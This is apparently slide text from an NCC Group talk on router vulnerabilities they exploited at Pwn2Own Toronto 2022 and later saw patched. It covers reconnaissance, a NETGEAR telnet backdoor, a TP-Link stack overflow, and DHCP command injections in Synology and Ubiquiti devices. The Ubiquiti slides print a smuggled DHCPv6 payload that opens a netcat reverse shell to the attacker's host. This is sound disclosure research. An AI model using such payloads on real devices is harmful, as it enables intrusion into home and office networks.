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Your not so "Home Office" - SOHO Hacking at Pwn2Own



Introduction

2



Talk Overview

● Device Reconnaissance
● Vulnerabilities

○ TP-Link LAN – meshyjson
○ NETGEAR WAN – puckungfu
○ NETGEAR LAN – smellycap
○ Synology WAN – dominate
○ Synology LAN – forgetme

● SOHO Smash-up
○ Ubiquiti WAN – rainbow6

● Conclusion
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/us (NCC Group)

Exploit Development Group (EDG)

Alex Plaskett @alexjplaskett
○ Windows, macOS, Linux, Embedded, etc.

Cedric Halbronn @saidelike
○ Windows, Linux, Embedded, NAS devices, printers, etc.

Aaron Adams @fidgetingbits
○ Xen, Windows kernel, Cisco devices, Android, Linux kernel, etc.

McCaulay Hudson @_mccaulay
○ Routers, PlayStation consoles
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https://twitter.com/alexjplaskett
https://twitter.com/saidelike
https://twitter.com/fidgetingbits
https://twitter.com/_mccaulay


Pwn2Own Toronto 2022

● Yearly vulnerability research competition 
held by Zero Day Initiative (Trend Micro)

● ZDI purchase vulnerabilities / exploits and 
provide them directly to the vendors to fix 
the issues

● SOHO Chain

● All vulnerabilities now patched! 
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Pwn2Own Rules

● No user interaction allowed

● Maximum of five minutes per attempt

● Maximum of three attempts per device category

● Each contestant can only attempt one chain of bugs per device category

● Different rules per device category in the competition (Network attacks / Sandbox escape / etc)

● No reboot allowed (?)

● Contestant names out of a hat draw to determine the attempts order

● No technical details allowed to be disclosed (until the issues are patched)

● EDG - Focused on routers / printers (with the aim for SOHO chain)
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Target Routers
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Synology RT 6600ax

NETGEAR Nighthawk WiFi 6 Router

(RAX30 AX2400)

TP-Link AX1800 WiFi 6 Router

(Archer AX21)

Ubiquiti Networks EdgeRouterX SFP



Device Reconnaissance
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Firmware Analysis

● Often can be downloaded from vendor 
website
● Extract filesystem using binwalk
○ Reverse engineer compiled binaries
○ Analyse plain-text source code (Bash, PHP, 

HTML, Lua etc)
○ Check binary security properties using 

checksec
■ Stack Canary
■NX bit (no-execute)
■ Position Independent Executable (PIE)
■ Relocation Read-Only (RELRO)
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Network Traffic Capture
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Traffic was captured from router boot until 5 minutes 
after boot

Interfaces
● LAN - Captured via ethernet to PC using Wireshark
● WLAN - Captured via WiFi to PC using Wireshark
● WAN - Captured via another router using tcpdump

WAN Setup



Shell Access - Frontdoor

Synology RT6600ax

SSH can be enabled by design 
within the Synology website 
administration control panel
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Ubiquiti EdgeRouter X SFP

SSH is enabled by default on 
the LAN side (full shell)



Shell Access - Backdoor
NETGEAR RAX30

● Contains a hidden UDP service running 
on port 23/udp

● Sending a special packet adds your IP 
address to a temporary firewall rule 
allowing access to telnet (23/tcp)

● Packet requires a valid device MAC 
address, admin username and admin 
password

● Hard-coded encryption key contains 
admin password as a SHA-256 hash

● Different from existing public tools as 
the password is now sent hashed using 
SHA-256 instead of in plaintext
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Shell Access – Hardware (UART)
TP-Link Archer AX21
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Thanks to Ilya Zhuravlev and Philip Marsden



Shell Enumeration
● Process list

● Netstat list

● Firewall rules

● Network Interfaces

● Environment Variables

● User Accounts

● Protections
○ Kernel ASLR
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Open-Source Code (GPL)

https://kb.netgear.com/2649/NETGEAR-Open-
Source-Code-for-Programmers-GPL

15 https://www.tp-
link.com/us/support/gpl-code/

TP-Link

https://kb.netgear.com/2649/NETGEAR-Open-Source-Code-for-Programmers-GPL
https://kb.netgear.com/2649/NETGEAR-Open-Source-Code-for-Programmers-GPL
https://www.tp-link.com/us/support/gpl-code/
https://www.tp-link.com/us/support/gpl-code/


Mobile Apps
Synology DS Router
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NETGEAR Nighthawk TP-Link Tether



Custom Tools - dcalls
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Collaborative Reverse Engineering
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Vulnerabilities
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Vulnerabilities

● TP-Link LAN – meshyjson
● NETGEAR WAN – pukungfu
● NETGEAR LAN – smellycap
● Synology WAN – dominate
● Synology LAN – forgetme

● Ubiquiti SOHO Smash-Up - rainbow6
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TP-Link LAN – meshyjson

● Proprietary TDP protocol (TP-Link Mesh Wi-Fi)
● LAN 20002/udp
● Encrypted JSON payloads (hard-coded encryption key)
● Stack Buffer Overflow in JSON onemesh support version 

handling
● Protections

○ No stack canary
○ No PIE (0x10000)
○ Library / heap ASLR enabled
○ NX enabled

● Full write-up 
https://research.nccgroup.com/2022/12/19/meshyjson-a-
tp-link-tdpserver-json-stack-overflow/
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https://research.nccgroup.com/2022/12/19/meshyjson-a-tp-link-tdpserver-json-stack-overflow/
https://research.nccgroup.com/2022/12/19/meshyjson-a-tp-link-tdpserver-json-stack-overflow/


TP-Link LAN – meshyjson
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TP-Link LAN – meshyjson
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TP-Link LAN – meshyjson
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TP-Link LAN – meshyjson
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TP-Link LAN – meshyjson
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TP-Link LAN – meshyjson
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TP-Link LAN – meshyjson

28

ROP Gadget: “pop {r0, lr}; bx lr;”

Pops argument off stack into r0
Pops address into lr (link register)

Jumps to lr



TP-Link LAN – meshyjson
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NETGEAR WAN – puckungfu

● A firmware update binary 
● /bin/pucfu executes on boot and connects 

to https://devcom.up.netgear.com/
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https://devcom.up.netgear.com/


NETGEAR WAN – puckungfu
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NETGEAR WAN – puckungfu
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NETGEAR WAN – puckungfu
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NETGEAR WAN – puckungfu
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NETGEAR WAN – puckungfu
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NETGEAR WAN – puckungfu
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• value is attacker controlled 



NETGEAR WAN – puckungfu
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NETGEAR WAN – puckungfu - Exploit
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NETGEAR WAN – puckungfu demo
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NETGEAR LAN – smellycap

● Process running:
○ 10707 admin 0:00 /bin/puhttpsniff

○ Process obtains packets destined to port 80 using the netfilter 
subsystem
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NETGEAR LAN – smellycap
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NETGEAR LAN – smellycap
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NETGEAR LAN – smellycap
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NETGEAR LAN – smellycap - Exploit
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NETGEAR LAN– smellycap demo
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Synology WAN – dominate

● /sbin/dhcpcd -d -n -f -t 1 -c 

/etc/iproute2/script/dhcpcd-up eth0

● DHCP Client Daemon v.1.3.22-pl1

● DHCP Option Parsing Vulnerability
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Synology WAN – dominate
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Synology WAN – dominate
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● domainName passed received by the client is not sanitized
● This is set to env variable DOMAIN
● -c argument used to set scripts which execute when the 

interface is brough up
○ /sbin/dhcpcd -d -n -f -t 1 -c 

/etc/iproute2/script/dhcpcd-up eth0

● Invoked using
○ /etc/iproute2/script/dhcpcd-up /etc/dhcpc/dhcpcd-eth0.info up -d



Synology WAN – dominate
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Synology WAN – dominate
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Synology WAN – dominate demo
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Synology LAN – forgetme

● Command injection in synoautoblock executed 
from forget_passwd.cgi

● forget_passwd.cgi responsible for parsing HTTP requests 
sent 
to http://<url_router>:8000/webman/forget_passwd.cgi 
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Synology LAN – forgetme
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Synology LAN – forgetme
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Synology LAN – forgetme
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synoautoblock binary:



Synology LAN – forgetme
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Synology LAN – forgetme
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Synology LAN – forgetme
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SOHO Smash-up
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SOHO Introduction
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SOHO Introduction
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SOHO Exploit Selection

● Stage 1: 3 WAN exploits to choose from:
○ NETGEAR - pukungfu
○ Synology - dominate
○ Ubiquiti – rainbow6

● Stage 2: 3 LAN exploits to choose from:
○ Lexmark - compost
○ Lexmark – psychic 
○ Canon – <redacted> 

● Selection Criteria
○ Collision Likelihood?
○ Reliability?
○ Prize money?
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Ubiquiti WAN – rainbow6

● A vulnerability within DHCPv6 option parsing code when 
using Prefix Delegation

● Prefix Delegation is a way to handle something like NAT 
within IPv6.

● Router is assigned a specific range of public IPs and may 
delegate a subset of this range to other interfaces on the 
same device

● It’s a fairly niche feature so practically not many in the 
wild probably running it. 
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Ubiquiti WAN – rainbow6

● DH6OPT_DNSNAME Option Parsing Vuln (edgeos-wide-
dhcpv6 package) - Option 24

Domain Search List

 Option: Domain Search List (24)

 Length: 21

 Domain name suffix search list

 List entry: abc
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Ubiquiti WAN – rainbow6
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Ubiquiti WAN – rainbow6
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Does not prevent certain 

malicious characters

{";/.shAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA



Ubiquiti WAN – rainbow6
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This means the environment 

variable is then exposed to a 
variety of perl scripts as 
$new_domain_name.



Ubiquiti WAN – rainbow6

● /opt/vyatta/sbin/ubnt-dhcp6c-script, which will in 
turn execute /opt/vyatta/sbin/dhcpv6-pd-
response.pl

● dhcpv6-pd-response.pl uses $new_domain_name which 
we control
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Ubiquiti WAN – rainbow6
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Ubiquiti WAN – rainbow6
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If prefix delegation is properly configured, we end up here:



Ubiquiti WAN – rainbow6
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Ubiquiti WAN – rainbow6
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new_domain_name=';script 

/aaa/bbb.sh' perl dom.pl

option dhcp6.domain-search 

";script /aaa/bbb.sh";



Ubiquiti WAN – rainbow6

● What can we do with the injection?
○ Our injected string is part of the string. So we need to terminate the 

string.
○ We can start our injection with a ; but perl script adds its own ; at the 

end of the injection.
○ This means last lines of injection needs to be a comment. I.e.:

■ ";<Malicious Stuff>#
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Ubiquiti WAN – rainbow6

● However, we also found an execute() function which 
allows running whatever with arguments from a config!!

● Do a connect back to the attacker on the WAN.
○ Cannot use bind shell as WAN firewall is very restrictive

● Need to use link-local address for connect back to attacker
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Ubiquiti WAN – rainbow6

● Payload limited to 63 bytes and IPv6 addresses quite long!
● We use the following to make it fit:

○ ";execute("nc","fe80::21b:21ff:febb:5db0%eth0","1
","-esh");#
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Ubiquiti WAN – rainbow6
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Ubiquiti WAN – rainbow6

● Stage 1 complete and we now have a shell on the device.
● We now need to implement Stage 2.
● Had the choice between Canon and Lexmark stage 2.
● Ubiquiti did not have a python interpreter..

○ Statically build a python interpreter
○ Reimplement our stage 2 in C
○ Proxy the stage 2 attack through stage 1.

○ We went with building a statically compiled python interpreter and 
dropping it.
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SOHO - Ubiquiti WAN -> Lexmark LAN
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Conclusion
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Conclusion
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Conclusion

● Too many router collisions!
○ 6 successful entries (4 collisions)
○ 2 entries patched prior to competition
○ Loads of entries..

● Pretty simple issues
○ Vendors not finding these issues too?

● SOHO chain didn't collide though!
○ Our target selection paid off there :)
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References and Credits

● https://twitter.com/alexjplaskett/status/162338379916
0573958

● https://www.youtube.com/watch?v=nnAxXnjsbUI
● https://github.com/pedrib/PoC/blob/master/advisories

/Pwn2Own/Tokyo_2019/tokyo_drift/tokyo_drift.md
● https://www.synacktiv.com/publications/cool-vulns-

dont-live-long-netgear-and-pwn2own.html
● https://blog.viettelcybersecurity.com/the-first-step-to-

pwn2own-but-a-sad-one/
● And many more, see twitter thread!
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Thank you! Questions?
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Patch References

● Synology WAN + LAN - Patched in SRM 1.3.1-9346-3
● NETGEAR WAN + LAN - Patched in 1.0.9.90
● TP-Link LAN - Patched in 1.1.3 (Archer AX21(US)_V3.6_1.1.3 

Build 20221125
● Ubiquiti WAN - Patched in Version 2.0.9-hotfix.6 
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